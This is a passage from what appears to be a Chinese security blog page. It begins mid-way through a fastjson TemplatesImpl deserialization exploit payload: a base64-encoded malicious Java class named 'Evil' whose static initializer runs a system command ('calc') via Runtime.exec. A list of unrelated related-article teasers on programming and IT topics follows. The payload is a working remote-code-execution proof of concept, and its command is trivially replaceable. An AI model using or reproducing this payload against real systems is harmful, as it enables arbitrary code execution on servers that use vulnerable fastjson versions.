N0cmluZzspVgEAA2FyZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAiACMHAEEMAEIAQwEAD+aehOmAoOS7o+eggeWdlwcARAwARQAkAQAM5peg5Y+C5p6E6YCgAQAM5pyJ5Y+C5p6E6YCgAQAP6Z2Z5oCB5Luj56CB5Z2XBwBGDABHAEgBAARjYWxjDABJAEoBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MACIASwEABEV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAA4ADwAAAAAABQABABAAEQACABIAAAA/AAAAAwAAAAGxAAAAAgATAAAABgABAAAADgAUAAAAIAADAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABAAHQACABIAAABJAAAABAAAAAGxAAAAAgATAAAABgABAAAAEwAUAAAAKgAEAAAAAQAVABYAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiACMAAQASAAAASwACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAgATAAAAEgAEAAAAIwAEACAADAAkABQAJQAUAAAADAABAAAAFQAVABYAAAABACIAJAABABIAAABVAAIAAgAAABUqtwABsgACEgO2AASyAAISBrYABLEAAAACABMAAAASAAQAAAApAAQAIAAMACoAFAArABQAAAAWAAIAAAAVABUAFgAAAAAAFQAlACYAAQAIACcAIwABABIAAAByAAMAAQAAAB+yAAISB7YABLgACBIJtgAKV6cADUu7AAxZKrcADb+xAAEACAARABQACwADABMAAAAaAAYAAAAWAAgAGAARABsAFAAZABUAGgAeAB0AFAAAAAwAAQAVAAkAKAApAAAAKgAAAAcAAlQHACsJAAEALAAAAAIALQ==\"],'_name':'xbb','_tfactory':{},\"_outputProperties\":{}}"}

相关文章:
Java代码审计17之fastjson反序列化漏洞(2)
文章目录 1、类加载与反射调用1.1、类加载1.2、测试代码1.3、通过类的加载和反射调用evil类 2、Fastjson TemplatesImpl链调试2.1、链路总览2.2、调试构造利用链 3、fastjson反序列化TemplatesImpl 利⽤3.1、开启 Feature.SupportNonPublicField 得作用3.2、构造利用payload3.3…...
Fork/Join 框架是干什么的?
Fork/Join框架是Java中用于并行计算的一个重要工具,它旨在简化多线程编程,特别适用于分治任务的并行执行。Fork/Join框架的主要目标是提高多核处理器上任务的并行性,从而加速计算。 Fork/Join框架的核心概念包括以下几个要点: 分治策略:Fork/Join框架基于分治策略,将一个…...
电子信息工程专业课复习知识点总结:(五)通信原理
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 第一章通信系统概述——通信系统的构成、各部分性质、性能指标1.通信系统的组成?2.通信系统的分类?3.调制、解调是什么?有什么用…...
LeetCode算法二叉树—二叉树的中序遍历
目录 94. 二叉树的中序遍历 - 力扣(LeetCode) 代码: 运行结果: 给定一个二叉树的根节点 root ,返回 它的 中序 遍历 。 示例 1: 输入:root [1,null,2,3] 输出:[1,3,2]示例 2&am…...
ubuntu 18.04 中 eBPF samples/bpf 编译
1. history 信息 一次成功编译 bpf 后执行 history 得到的信息: yingzhiyingzhi-Host:~/ex/ex_kernel/linux-5.4$ history1 ls2 mkdir ex3 cd ex4 mkdir ex_kernel5 ls /boot/6 sudo apt install linux-source7 ls /usr/src/8 uname -r9 cd ex_kernel/10…...
新版Chromedriver在哪下载(Chromedriver 116.0.5845.188的寻找之旅)
不知道什么时候Chrome自动升级到116.0.5845.188了,害得我原来的Chromedriver 114无法使用了,无奈之下只好重新去下载。 可寻遍网络,都没找到Chromedriver116的版本。网上大多网友给的下载网址是chromedriver.storage.googleapis.com/index.ht…...
React基础知识点
1、简述什么是React(概念)? React是Facebook开发的一款用于构建用户界面的JS库。React一般被采用作为MVC中的V层,它不依赖其他任何的库,因此在开发中,可以与任何其他的库集成使用,包括Jquery等…...
linux用户和权限命令学习记录
文章目录 版权声明root用户(超级管理员)su和exit命令sudo命令为普通用户配置sudo认证 用户、用户组管理用户组管理getent命令 查看权限控制认知权限信息 修改权限控制chmod修改文件、文件夹的权限权限的数字序号chown修改所属用户、用户组 版权声明 本博…...
React(react18)中组件通信05——redux ➕ react-redux(含数据共享)
React(react18)中组件通信05——redux ➕ react-redux(含数据共享) 1. 前言1.1 React中组件通信的其他方式1.2 介绍React-Redux1.2.1 简单介绍React-Redux1.2.2 官网 1.3 安装react-redux 2. 简单改写redux的例子2.1 提供store2.2…...
字符函数和字符串函数(1)
前言 C语言中对字符和字符串的处理很是频繁,但是C语言本身是没有字符串类型的,字符串通常放在 常量字符串 中或者 字符数组 中。 字符串常量 适用于那些对它不做修改的字符串函数. 1.求字符串长度 strlen 1.1 strlen size_t strlen ( const char * s…...
Visual Studio Code从GIT拉取vue项目并运行
安装Visual Studio Code 安装GIT 安装node.js,配置好环境变量 拉取项目 文章一 文章二 运行项目 文章一 提交代码 文章一...
【知识分享】Java获取全年每个月的有几周且每周是几号到几号
加哥本周给大家分享一期怎么用java把全年每个月有几周,本周是几号到几号的工具类。便于大家根据需求获取想要的形式进行改造。话不多说,直接给大家上代码。 package com.techfantasy.common.utils; import com.techfantasy.common.entity.DateRange; i…...
学信息系统项目管理师第4版系列11_信息安全管理
1. 信息安全基础 1.1. 保密性(Confidentiality) 1.1.1. 信息不被未授权者知晓的属性 1.1.2. 确保信息不暴露给未授权的实体或进程 1.2. 完整性(Integrity) 1.2.1. 信息是正确的、真实的、未被篡改的、完整无缺的属性 1.2.2. 只有得到允许的人才能修改数据&…...
sql注入原理分析
...
Mac磁盘空间满了怎么办?Mac如何清理磁盘空间
你是不是发现你的Mac电脑存储越来越满,甚至操作系统本身就占了100多G的空间?这不仅影响了电脑的性能,而且也让你无法存储更多的重要文件和软件。别担心,今天这篇文章将告诉你如何清除多余的文件,让你的Mac重获新生。 一…...
能ping通但无法上网的问题
大家好,今天我要和大家分享一下当你的IP地址能够成功 ping 通,却无法上网时该如何解决这个问题。这是一个相当常见的情况,在网络故障排查中经常遇到。别担心,我将为你揭开这个谜题,提供一些解决方案和技巧。 首先&…...
仿制 Google Chrome 的恐龙小游戏
通过仿制 Google Chrome 的恐龙小游戏,我们可以掌握如下知识点: 灵活使用视口单位掌握绝对定位JavaScript 来操作 CSS 变量requestAnimationFrame 函数的使用无缝动画实现 页面结构 实现页面结构 通过上述的页面结构我们可以知道,此游戏中…...
Redis面试题(五)
文章目录 前言一、使用过 Redis 做异步队列么,你是怎么用的?有什么缺点?二、 什么是缓存穿透?如何避免?什么是缓存雪崩?何如避免?总结 前言 使用过 Redis 做异步队列么,你是怎么用的…...
组队竞赛(int溢出问题)
目录 一、题目 二、代码 (一)没有注意int溢出 (二)正确代码 1. long long sum0 2. #define int long long 3. 使用现成的sort函数 一、题目 二、代码 (一)没有注意int溢出 #include <iostream&g…...
Swift SwiftUI 隐藏键盘
如果仅支持 iOS 15 及更高版本,则可以通过聚焦和取消聚焦来激活和关闭文本字段的键盘。 在最简单的形式中,这是使用 FocusState 属性包装器和 focusable() 修饰符完成的-第一个存储一个布尔值,用于跟踪第二个当前是否被聚焦。 Code struct C…...
【Python】 -- 趣味代码 - 小恐龙游戏
文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...
DeepSeek 赋能智慧能源:微电网优化调度的智能革新路径
目录 一、智慧能源微电网优化调度概述1.1 智慧能源微电网概念1.2 优化调度的重要性1.3 目前面临的挑战 二、DeepSeek 技术探秘2.1 DeepSeek 技术原理2.2 DeepSeek 独特优势2.3 DeepSeek 在 AI 领域地位 三、DeepSeek 在微电网优化调度中的应用剖析3.1 数据处理与分析3.2 预测与…...
【机器视觉】单目测距——运动结构恢复
ps:图是随便找的,为了凑个封面 前言 在前面对光流法进行进一步改进,希望将2D光流推广至3D场景流时,发现2D转3D过程中存在尺度歧义问题,需要补全摄像头拍摄图像中缺失的深度信息,否则解空间不收敛…...
css的定位(position)详解:相对定位 绝对定位 固定定位
在 CSS 中,元素的定位通过 position 属性控制,共有 5 种定位模式:static(静态定位)、relative(相对定位)、absolute(绝对定位)、fixed(固定定位)和…...
【HTML-16】深入理解HTML中的块元素与行内元素
HTML元素根据其显示特性可以分为两大类:块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...
【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...
Java线上CPU飙高问题排查全指南
一、引言 在Java应用的线上运行环境中,CPU飙高是一个常见且棘手的性能问题。当系统出现CPU飙高时,通常会导致应用响应缓慢,甚至服务不可用,严重影响用户体验和业务运行。因此,掌握一套科学有效的CPU飙高问题排查方法&…...
基于IDIG-GAN的小样本电机轴承故障诊断
目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) 梯度归一化(Gradient Normalization) (2) 判别器梯度间隙正则化(Discriminator Gradient Gap Regularization) (3) 自注意力机制(Self-Attention) 3. 完整损失函数 二…...
WebRTC从入门到实践 - 零基础教程
WebRTC从入门到实践 - 零基础教程 目录 WebRTC简介 基础概念 工作原理 开发环境搭建 基础实践 三个实战案例 常见问题解答 1. WebRTC简介 1.1 什么是WebRTC? WebRTC(Web Real-Time Communication)是一个支持网页浏览器进行实时语音…...
掌握 HTTP 请求:理解 cURL GET 语法
cURL 是一个强大的命令行工具,用于发送 HTTP 请求和与 Web 服务器交互。在 Web 开发和测试中,cURL 经常用于发送 GET 请求来获取服务器资源。本文将详细介绍 cURL GET 请求的语法和使用方法。 一、cURL 基本概念 cURL 是 "Client URL" 的缩写…...
